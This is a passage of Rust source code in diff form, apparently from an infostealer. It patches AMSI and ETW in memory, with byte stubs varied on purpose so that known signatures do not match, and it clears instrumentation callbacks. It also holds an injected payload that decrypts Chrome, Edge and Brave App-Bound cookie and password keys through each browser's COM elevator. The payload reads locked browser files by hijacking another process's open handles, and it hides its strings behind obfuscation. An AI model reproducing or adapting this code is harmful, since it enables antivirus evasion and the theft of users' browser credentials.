let reg = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_REGISTER));
|
||||
if reg != 0 {
|
||||
ok &= patch_memory(reg, etw_register_stub(), true);
|
||||
}
|
||||
ok
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 2. AMSI patch
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Metamorphic AmsiScanBuffer stubs: write AMSI_RESULT_CLEAN(0) into arg6
|
||||
/// (result ptr at [rsp+0x30]) and return S_OK(0). Each variant uses distinct
|
||||
/// registers/encodings so no published signature matches the patch bytes.
|
||||
fn amsi_scan_stub() -> &'static [u8] {
|
||||
// Deliberately avoids the classic published 14-byte stub
|
||||
// (`31 C0 49 8B 5C 24 30 45 31 DB 45 89 1B C3`) — that exact byte run is a
|
||||
// documented AMSI-patch signature. Every variant here uses a different
|
||||
// register/encoding so no artifact ships a known-signature byte sequence.
|
||||
match variant(5) {
|
||||
0 => &[
|
||||
0x48, 0x8B, 0x4C, 0x24, 0x30, // mov rcx,[rsp+0x30] result ptr
|
||||
0x33, 0xC0, // xor eax,eax S_OK
|
||||
0x89, 0x01, // mov [rcx],eax CLEAN(0)
|
||||
0xC3,
|
||||
],
|
||||
1 => &[
|
||||
0x33, 0xC0, // xor eax,eax
|
||||
0x49, 0x8B, 0x54, 0x24, 0x30, // mov r10,[rsp+0x30]
|
||||
0x41, 0x89, 0x02, // mov [r10],eax
|
||||
0xC3,
|
||||
],
|
||||
2 => &[
|
||||
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax,0
|
||||
0x48, 0x8B, 0x54, 0x24, 0x30, // mov rdx,[rsp+0x30]
|
||||
0x89, 0x02, // mov [rdx],eax
|
||||
0xC3,
|
||||
],
|
||||
3 => &[
|
||||
0x31, 0xC0, // xor eax,eax
|
||||
0x4C, 0x8B, 0x44, 0x24, 0x30, // mov r8,[rsp+0x30]
|
||||
0x89, 0x00, // mov [r8],eax
|
||||
0xC3,
|
||||
],
|
||||
_ => &[
|
||||
0x31, 0xC0, // xor eax,eax
|
||||
0x48, 0x8B, 0x94, 0x24, 0x30, 0x00, 0x00, 0x00, // mov rdx,[rsp+0x30] (SIB/disp enc)
|
||||
0x89, 0x02, // mov [rdx],eax
|
||||
0xC3,
|
||||
],
|
||||
}
|
||||
}
|
||||
|
||||
/// AmsiOpenSession → E_AMSI_NOT_INITIALIZED. Sessions fail to open, so even
|
||||
/// hosts that route scans through session-based APIs report nothing.
|
||||
fn amsi_open_session_stub() -> &'static [u8] {
|
||||
// All variants return a FAILING HRESULT (high bit set) so script hosts
|
||||
// treat the session-open as failed. Never return a positive status — that
|
||||
// is interpreted as SUCCESS and the patch silently no-ops.
|
||||
match variant(3) {
|
||||
0 => &[0xB8, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov eax, 0x80020011 (E_AMSI_NOT_INITIALIZED) ; ret
|
||||
1 => &[0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3], // mov eax, 0x80070057 (E_INVALIDARG) ; ret
|
||||
_ => &[0x48, 0xC7, 0xC0, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov rax, 0x80020011 ; ret (distinct enc)
|
||||
}
|
||||
}
|
||||
|
||||
/// Patch amsi.dll!AmsiScanBuffer so every scan reports AMSI_RESULT_CLEAN.
|
||||
pub fn patch_amsi() -> bool {
|
||||
unsafe { patch_amsi_saved() }
|
||||
}
|
||||
|
||||
unsafe fn patch_amsi_saved() -> bool {
|
||||
let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI));
|
||||
if amsi == 0 {
|
||||
return false; // amsi.dll not loaded in this host — nothing to do
|
||||
}
|
||||
let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_SCAN_BUFFER));
|
||||
if target == 0 {
|
||||
return false;
|
||||
}
|
||||
patch_memory(target, amsi_scan_stub(), true)
|
||||
}
|
||||
|
||||
/// Patch amsi.dll!AmsiOpenSession to fail (defense-in-depth).
|
||||
pub fn patch_amsi_opensession() -> bool {
|
||||
unsafe { patch_amsi_opensession_saved() }
|
||||
}
|
||||
|
||||
unsafe fn patch_amsi_opensession_saved() -> bool {
|
||||
let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI));
|
||||
if amsi == 0 {
|
||||
return false;
|
||||
}
|
||||
let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_OPEN_SESSION));
|
||||
if target == 0 {
|
||||
return false;
|
||||
}
|
||||
patch_memory(target, amsi_open_session_stub(), true)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 3. Instrumentation-callback bypass
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const PROCESS_INSTRUMENTATION_CALLBACK: u32 = 40;
|
||||
|
||||
/// Query the current instrumentation callback (if any monitor installed one).
|
||||
unsafe fn query_instrumentation_callback() -> usize {
|
||||
let mut cb: usize = 0;
|
||||
let st = syscall::sys_nt_query_information_process(
|
||||
abi_current_process(),
|
||||
PROCESS_INSTRUMENTATION_CALLBACK,
|
||||
(&mut cb) as *mut usize as *mut c_void,
|
||||
core::mem::size_of::<usize>() as u32,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if st != 0 {
|
||||
return 0;
|
||||
}
|
||||
cb
|
||||
}
|
||||
|
||||
/// Clear any externally-registered instrumentation callback.
|
||||
pub fn clear_instrumentation_callback() -> bool {
|
||||
unsafe {
|
||||
let existing = query_instrumentation_callback();
|
||||
if existing == 0 {
|
||||
return true;
|
||||
}
|
||||
let zero: usize = 0;
|
||||
let st = syscall::sys_nt_set_information_process(
|
||||
abi_current_process(),
|
||||
PROCESS_INSTRUMENTATION_CALLBACK,
|
||||
(&zero) as *const usize as *mut c_void,
|
||||
core::mem::size_of::<usize>() as u32,
|
||||
);
|
||||
st == 0
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Orchestration
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Apply the full patch set. Returns bitmask:
|
||||
/// bit0=ETW bit1=AMSI bit2=InstrCb bit3=deepETW bit4=EventEnabled bit5=OpenSession
|
||||
pub fn apply_all() -> u32 {
|
||||
let seed = flow::run_time_nonce();
|
||||
let mut done: u32 = 0;
|
||||
|
||||
// ETW + AMSI primary, opaque order.
|
||||
if flow::opaque_true(seed ^ gen::CFF_KEY) {
|
||||
flow::junk_complex(seed);
|
||||
if patch_etw() { done |= 1; }
|
||||
if patch_amsi() { done |= 2; }
|
||||
} else {
|
||||
flow::junk();
|
||||
if patch_amsi() { done |= 2; }
|
||||
if patch_etw() { done |= 1; }
|
||||
}
|
||||
|
||||
// Secondary layers.
|
||||
if patch_etw_eventenabled() { done |= 16; }
|
||||
if patch_amsi_opensession() { done |= 32; }
|
||||
|
||||
if clear_instrumentation_callback() { done |= 4; }
|
||||
|
||||
// Deep ETW only once the primary landed.
|
||||
if done & 1 != 0 && patch_etw_deep() {
|
||||
done |= 8;
|
||||
}
|
||||
|
||||
done
|
||||
}
|
||||
@@ -0,0 +1,628 @@
|
||||
//! Injected-payload logic, ported from key_extractor.cpp.
|
||||
//!
|
||||
//! On attach the payload reads the pipe name from the `RECOVERY_PIPE`
|
||||
//! environment variable and spawns a worker thread that services a length-
|
||||
//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via
|
||||
//! the browser's COM elevator) and `READ:path` (read a file, transparently
|
||||
//! duplicating the owning process's open handle on a sharing violation).
|
||||
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi::{self, GUID};
|
||||
use crate::gen;
|
||||
use crate::obf;
|
||||
|
||||
const MAX_MSG: u32 = 16384;
|
||||
const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB
|
||||
const ENV_BUF: u32 = 512;
|
||||
const PATH_BUF: usize = 32768;
|
||||
|
||||
/// Runtime-decrypt a compile-time obfuscated byte signature into a Vec.
|
||||
fn dec_bytes(key: u8, slot: &(obf::Slot, u32), len: usize) -> Vec<u8> {
|
||||
let raw = obf::dec_sig(key, slot, len);
|
||||
raw[..len.min(obf::MAX_LEN)].to_vec()
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Protocol / identity strings — kept out of `.rodata` as plaintext.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn proto_key() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8001, b"KEY:"), 4) }
|
||||
fn proto_read() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8002, b"READ:"), 5) }
|
||||
fn proto_exit() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8003, b"EXIT"), 4) }
|
||||
fn env_pipe_name() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8004, b"RECOVERY_PIPE"), 13) }
|
||||
|
||||
// ---- OVERLAPPED (x64 layout) ----
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct Overlapped {
|
||||
internal: usize,
|
||||
internal_high: usize,
|
||||
offset: u32,
|
||||
offset_high: u32,
|
||||
h_event: usize,
|
||||
}
|
||||
|
||||
impl Overlapped {
|
||||
fn zeroed() -> Self {
|
||||
Overlapped {
|
||||
internal: 0,
|
||||
internal_high: 0,
|
||||
offset: 0,
|
||||
offset_high: 0,
|
||||
h_event: 0,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- base64 decode (standard, padded) ----
|
||||
|
||||
fn b64_val(c: u8) -> i32 {
|
||||
match c {
|
||||
b'A'..=b'Z' => (c - b'A') as i32,
|
||||
b'a'..=b'z' => (c - b'a' + 26) as i32,
|
||||
b'0'..=b'9' => (c - b'0' + 52) as i32,
|
||||
b'+' => 62,
|
||||
b'/' => 63,
|
||||
_ => -1,
|
||||
}
|
||||
}
|
||||
|
||||
fn base64_decode(s: &[u8]) -> Vec<u8> {
|
||||
let mut out = Vec::new();
|
||||
let mut acc: u32 = 0;
|
||||
let mut bits: u32 = 0;
|
||||
for &c in s {
|
||||
if c == b'=' {
|
||||
break;
|
||||
}
|
||||
let v = b64_val(c);
|
||||
if v < 0 {
|
||||
continue;
|
||||
}
|
||||
acc = (acc << 6) | v as u32;
|
||||
bits += 6;
|
||||
if bits >= 8 {
|
||||
bits -= 8;
|
||||
out.push((acc >> bits) as u8);
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
// ---- wide / utf helpers ----
|
||||
|
||||
fn utf8_to_wide(bytes: &[u8]) -> Vec<u16> {
|
||||
let s = String::from_utf8_lossy(bytes);
|
||||
let mut v: Vec<u16> = s.encode_utf16().collect();
|
||||
v.push(0);
|
||||
v
|
||||
}
|
||||
|
||||
fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool {
|
||||
if a.len() != b.len() {
|
||||
return false;
|
||||
}
|
||||
a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase())
|
||||
}
|
||||
|
||||
/// Case-sensitive wide substring search (matches the C `wcsstr` behavior).
|
||||
fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool {
|
||||
if needle.is_empty() {
|
||||
return true;
|
||||
}
|
||||
if haystack.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
(0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle)
|
||||
}
|
||||
|
||||
// ---- pipe helpers ----
|
||||
|
||||
unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool {
|
||||
let mut off = 0u32;
|
||||
while off < len {
|
||||
let mut rd = 0u32;
|
||||
let ok = abi::ReadFile(
|
||||
h,
|
||||
buf.add(off as usize) as *mut c_void,
|
||||
len - off,
|
||||
&mut rd,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if ok == 0 || rd == 0 {
|
||||
return false;
|
||||
}
|
||||
off += rd;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool {
|
||||
let mut off = 0u32;
|
||||
while off < len {
|
||||
let mut wr = 0u32;
|
||||
let ok = abi::WriteFile(
|
||||
h,
|
||||
buf.add(off as usize) as *const c_void,
|
||||
len - off,
|
||||
&mut wr,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if ok == 0 || wr == 0 {
|
||||
return false;
|
||||
}
|
||||
off += wr;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool {
|
||||
let total = 1u32 + data.len() as u32;
|
||||
let len_bytes = total.to_le_bytes();
|
||||
if !pipe_write_all(h, len_bytes.as_ptr(), 4) {
|
||||
return false;
|
||||
}
|
||||
if !pipe_write_all(h, &status as *const u8, 1) {
|
||||
return false;
|
||||
}
|
||||
if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) {
|
||||
return false;
|
||||
}
|
||||
abi::FlushFileBuffers(h);
|
||||
true
|
||||
}
|
||||
|
||||
// ---- COM elevator (IElevator / IEdgeElevator) ----
|
||||
|
||||
// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData
|
||||
#[repr(C)]
|
||||
struct IElevatorVtbl {
|
||||
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
|
||||
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
release: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
run_recovery_crx_elevated: unsafe extern "system" fn(
|
||||
*mut c_void,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
u32,
|
||||
*mut usize,
|
||||
) -> i32,
|
||||
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
}
|
||||
|
||||
// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData
|
||||
#[repr(C)]
|
||||
struct IEdgeElevatorVtbl {
|
||||
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
|
||||
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
release: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
edge_method1: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
edge_method2: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
edge_method3: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
run_recovery_crx_elevated: unsafe extern "system" fn(
|
||||
*mut c_void,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
u32,
|
||||
*mut usize,
|
||||
) -> i32,
|
||||
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
}
|
||||
|
||||
const CLSID_CHROME: GUID = GUID {
|
||||
data1: 0x708860E0,
|
||||
data2: 0xF641,
|
||||
data3: 0x4611,
|
||||
data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B],
|
||||
};
|
||||
const IID_CHROME: GUID = GUID {
|
||||
data1: 0x463ABECF,
|
||||
data2: 0x410D,
|
||||
data3: 0x407F,
|
||||
data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8],
|
||||
};
|
||||
const IID_CHROME2: GUID = GUID {
|
||||
data1: 0x1BF5208B,
|
||||
data2: 0x295F,
|
||||
data3: 0x4992,
|
||||
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
|
||||
};
|
||||
|
||||
const CLSID_EDGE: GUID = GUID {
|
||||
data1: 0x1FCBE96C,
|
||||
data2: 0x1697,
|
||||
data3: 0x43AF,
|
||||
data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67],
|
||||
};
|
||||
const IID_EDGE: GUID = GUID {
|
||||
data1: 0xC9C2B807,
|
||||
data2: 0x7731,
|
||||
data3: 0x4F34,
|
||||
data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B],
|
||||
};
|
||||
const IID_EDGE2: GUID = GUID {
|
||||
data1: 0x8F7B6792,
|
||||
data2: 0x784D,
|
||||
data3: 0x4047,
|
||||
data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05],
|
||||
};
|
||||
|
||||
const CLSID_BRAVE: GUID = GUID {
|
||||
data1: 0x576B31AF,
|
||||
data2: 0x6369,
|
||||
data3: 0x4B6B,
|
||||
data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B],
|
||||
};
|
||||
const IID_BRAVE: GUID = GUID {
|
||||
data1: 0xF396861E,
|
||||
data2: 0x0C8E,
|
||||
data3: 0x4C71,
|
||||
data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9],
|
||||
};
|
||||
const IID_BRAVE2: GUID = GUID {
|
||||
data1: 0x1BF5208B,
|
||||
data2: 0x295F,
|
||||
data3: 0x4992,
|
||||
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
|
||||
};
|
||||
|
||||
const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16;
|
||||
|
||||
unsafe fn set_proxy_blanket(ptr: *mut c_void) {
|
||||
abi::CoSetProxyBlanket(
|
||||
ptr,
|
||||
abi::RPC_C_AUTHN_DEFAULT,
|
||||
abi::RPC_C_AUTHZ_DEFAULT,
|
||||
COLE_DEFAULT_PRINCIPAL,
|
||||
abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
abi::RPC_C_IMP_LEVEL_IMPERSONATE,
|
||||
ptr::null_mut(),
|
||||
abi::EOAC_DYNAMIC_CLOAKING,
|
||||
);
|
||||
}
|
||||
|
||||
unsafe fn decrypt_chrome(
|
||||
clsid: GUID,
|
||||
iid: GUID,
|
||||
iid2: GUID,
|
||||
bstr: *mut u16,
|
||||
out: *mut *mut u16,
|
||||
err: *mut u32,
|
||||
) -> i32 {
|
||||
let mut ptr: *mut c_void = ptr::null_mut();
|
||||
let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr);
|
||||
if hr < 0 {
|
||||
hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr);
|
||||
}
|
||||
if hr < 0 || ptr.is_null() {
|
||||
return hr;
|
||||
}
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
hr
|
||||
}
|
||||
|
||||
unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 {
|
||||
// Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout).
|
||||
let mut ptr: *mut c_void = ptr::null_mut();
|
||||
let mut hr = abi::CoCreateInstance(
|
||||
&CLSID_EDGE,
|
||||
ptr::null_mut(),
|
||||
abi::CLSCTX_LOCAL_SERVER,
|
||||
&IID_EDGE2,
|
||||
&mut ptr,
|
||||
);
|
||||
if hr >= 0 && !ptr.is_null() {
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
if hr >= 0 && !(*out).is_null() {
|
||||
return hr;
|
||||
}
|
||||
}
|
||||
|
||||
ptr = ptr::null_mut();
|
||||
hr = abi::CoCreateInstance(
|
||||
&CLSID_EDGE,
|
||||
ptr::null_mut(),
|
||||
abi::CLSCTX_LOCAL_SERVER,
|
||||
&IID_EDGE,
|
||||
&mut ptr,
|
||||
);
|
||||
if hr < 0 || ptr.is_null() {
|
||||
return hr;
|
||||
}
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
hr
|
||||
}
|
||||
|
||||
fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option<Vec<u8>> {
|
||||
unsafe {
|
||||
let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED);
|
||||
if hr < 0 && hr != abi::RPC_E_CHANGED_MODE {
|
||||
return None;
|
||||
}
|
||||
|
||||
let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32);
|
||||
if bstr_enc.is_null() {
|
||||
abi::CoUninitialize();
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut bstr_plain: *mut u16 = ptr::null_mut();
|
||||
let mut com_err: u32 = 0;
|
||||
|
||||
let hr2 = if ascii_eq_ignore_case(browser, b"edge") {
|
||||
decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
} else if ascii_eq_ignore_case(browser, b"brave") {
|
||||
decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
} else {
|
||||
decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
};
|
||||
|
||||
abi::SysFreeString(bstr_enc);
|
||||
|
||||
let result = if hr2 >= 0 && !bstr_plain.is_null() {
|
||||
let len = abi::SysStringByteLen(bstr_plain);
|
||||
if len > 0 && len <= 64 {
|
||||
let mut key = vec![0u8; len as usize];
|
||||
ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize);
|
||||
Some(key)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !bstr_plain.is_null() {
|
||||
abi::SysFreeString(bstr_plain);
|
||||
}
|
||||
abi::CoUninitialize();
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
// ---- READ handler ----
|
||||
|
||||
/// Brute-force the owning process's open file handle by walking handle values
|
||||
/// and matching the DOS path (ported from `find_open_handle`).
|
||||
unsafe fn find_open_handle(target_path: &[u16]) -> usize {
|
||||
let mut sep_count = 0;
|
||||
let mut suffix_start = 0usize;
|
||||
let mut i = target_path.len();
|
||||
while i > 0 && sep_count < 2 {
|
||||
i -= 1;
|
||||
if target_path[i] == b'\\' as u16 {
|
||||
sep_count += 1;
|
||||
if sep_count == 2 {
|
||||
suffix_start = i;
|
||||
}
|
||||
}
|
||||
}
|
||||
let suffix = &target_path[suffix_start..];
|
||||
|
||||
let mut h = 4usize;
|
||||
while h < 0x10000 {
|
||||
if abi::GetFileType(h) == abi::FILE_TYPE_DISK {
|
||||
let mut name = [0u16; PATH_BUF];
|
||||
let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0);
|
||||
if len > 0 && (len as usize) < PATH_BUF {
|
||||
let slice = &name[..len as usize];
|
||||
if wide_contains(slice, suffix) {
|
||||
let mut dup = 0usize;
|
||||
if abi::DuplicateHandle(
|
||||
abi::GetCurrentProcess(),
|
||||
h,
|
||||
abi::GetCurrentProcess(),
|
||||
&mut dup,
|
||||
0,
|
||||
0,
|
||||
abi::DUPLICATE_SAME_ACCESS,
|
||||
) != 0
|
||||
{
|
||||
return dup;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
h += 4;
|
||||
}
|
||||
abi::INVALID_HANDLE_VALUE
|
||||
}
|
||||
|
||||
unsafe fn handle_read(h: usize, utf8path: &[u8]) {
|
||||
let wide = utf8_to_wide(utf8path);
|
||||
let mut hfile = abi::CreateFileW(
|
||||
wide.as_ptr(),
|
||||
abi::GENERIC_READ,
|
||||
abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE,
|
||||
ptr::null_mut(),
|
||||
abi::OPEN_EXISTING,
|
||||
abi::FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
);
|
||||
|
||||
let mut via_dup = false;
|
||||
if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION {
|
||||
hfile = find_open_handle(&wide[..wide.len() - 1]);
|
||||
via_dup = true;
|
||||
}
|
||||
|
||||
if hfile == abi::INVALID_HANDLE_VALUE {
|
||||
send_response(h, 1, b"open failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let size = abi::GetFileSize(hfile, ptr::null_mut());
|
||||
if size == abi::INVALID_FILE_SIZE || size > MAX_FILE {
|
||||
abi::CloseHandle(hfile);
|
||||
send_response(h, 1, b"bad size");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut data = vec![0u8; size as usize];
|
||||
let mut rd = 0u32;
|
||||
let ok = if via_dup {
|
||||
let mut ov = Overlapped::zeroed();
|
||||
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0
|
||||
&& rd == size
|
||||
} else {
|
||||
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0
|
||||
&& rd == size
|
||||
};
|
||||
abi::CloseHandle(hfile);
|
||||
|
||||
if ok {
|
||||
send_response(h, 0, &data);
|
||||
} else if via_dup {
|
||||
send_response(h, 1, b"dup read fail");
|
||||
} else {
|
||||
send_response(h, 1, b"read fail");
|
||||
}
|
||||
}
|
||||
|
||||
// ---- KEY handler ----
|
||||
|
||||
unsafe fn handle_key(h: usize, args: &[u8]) {
|
||||
let Some(pos) = args.iter().position(|&c| c == b':') else {
|
||||
send_response(h, 1, b"bad format");
|
||||
return;
|
||||
};
|
||||
let (browser, b64) = args.split_at(pos);
|
||||
let enc = base64_decode(&b64[1..]);
|
||||
if enc.len() < 5 {
|
||||
send_response(h, 1, b"small key");
|
||||
return;
|
||||
}
|
||||
match decrypt_via_elevator(&enc, browser) {
|
||||
Some(key) => {
|
||||
send_response(h, 0, &key);
|
||||
}
|
||||
None => {
|
||||
send_response(h, 1, b"decrypt failed");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- worker thread ----
|
||||
|
||||
unsafe fn worker(pipe: &[u16]) -> u32 {
|
||||
let h = abi::CreateFileW(
|
||||
pipe.as_ptr(),
|
||||
abi::GENERIC_READ | abi::GENERIC_WRITE,
|
||||
0,
|
||||
ptr::null_mut(),
|
||||
abi::OPEN_EXISTING,
|
||||
0,
|
||||
0,
|
||||
);
|
||||
if h == abi::INVALID_HANDLE_VALUE {
|
||||
return 1;
|
||||
}
|
||||
|
||||
loop {
|
||||
let mut msg_len: u32 = 0;
|
||||
if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4)
|
||||
|| msg_len == 0
|
||||
|| msg_len > MAX_MSG
|
||||
{
|
||||
break;
|
||||
}
|
||||
let mut msg = vec![0u8; msg_len as usize];
|
||||
if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) {
|
||||
break;
|
||||
}
|
||||
|
||||
let pkey = proto_key();
|
||||
let pread = proto_read();
|
||||
let pexit = proto_exit();
|
||||
|
||||
if msg.len() >= pkey.len() && &msg[..pkey.len()] == pkey.as_slice() {
|
||||
handle_key(h, &msg[pkey.len()..]);
|
||||
} else if msg.len() >= pread.len() && &msg[..pread.len()] == pread.as_slice() {
|
||||
handle_read(h, &msg[pread.len()..]);
|
||||
} else if msg.len() >= pexit.len() && &msg[..pexit.len()] == pexit.as_slice() {
|
||||
break;
|
||||
} else {
|
||||
send_response(h, 1, b"unknown");
|
||||
}
|
||||
}
|
||||
|
||||
abi::CloseHandle(h);
|
||||
0
|
||||
}
|
||||
|
||||
fn read_env_wide(name: &str) -> Option<Vec<u16>> {
|
||||
let mut name_w: Vec<u16> = name.encode_utf16().collect();
|
||||
name_w.push(0);
|
||||
let mut buf = vec![0u16; ENV_BUF as usize];
|
||||
unsafe {
|
||||
let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF);
|
||||
if len == 0 || len >= ENV_BUF {
|
||||
return None;
|
||||
}
|
||||
buf.truncate(len as usize);
|
||||
Some(buf)
|
||||
}
|
||||
}
|
||||
|
||||
/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed
|
||||
/// through lpParameter by the injector).
|
||||
fn read_wide_from_ptr(p: *const u16) -> Option<Vec<u16>> {
|
||||
if p.is_null() {
|
||||
return None;
|
||||
}
|
||||
let mut v = Vec::new();
|
||||
let mut i = 0usize;
|
||||
unsafe {
|
||||
loop {
|
||||
let c = *p.add(i);
|
||||
if c == 0 {
|
||||
break;
|
||||
}
|
||||
v.push(c);
|
||||
i += 1;
|
||||
if i > 4096 {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
if v.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(v)
|
||||
}
|
||||
}
|
||||
|
||||
pub fn on_attach(lp_param: *const u16) {
|
||||
// Prefer the pipe name passed in memory by the injector (works for running
|
||||
// browsers); fall back to the inherited env var for spawned headless ones.
|
||||
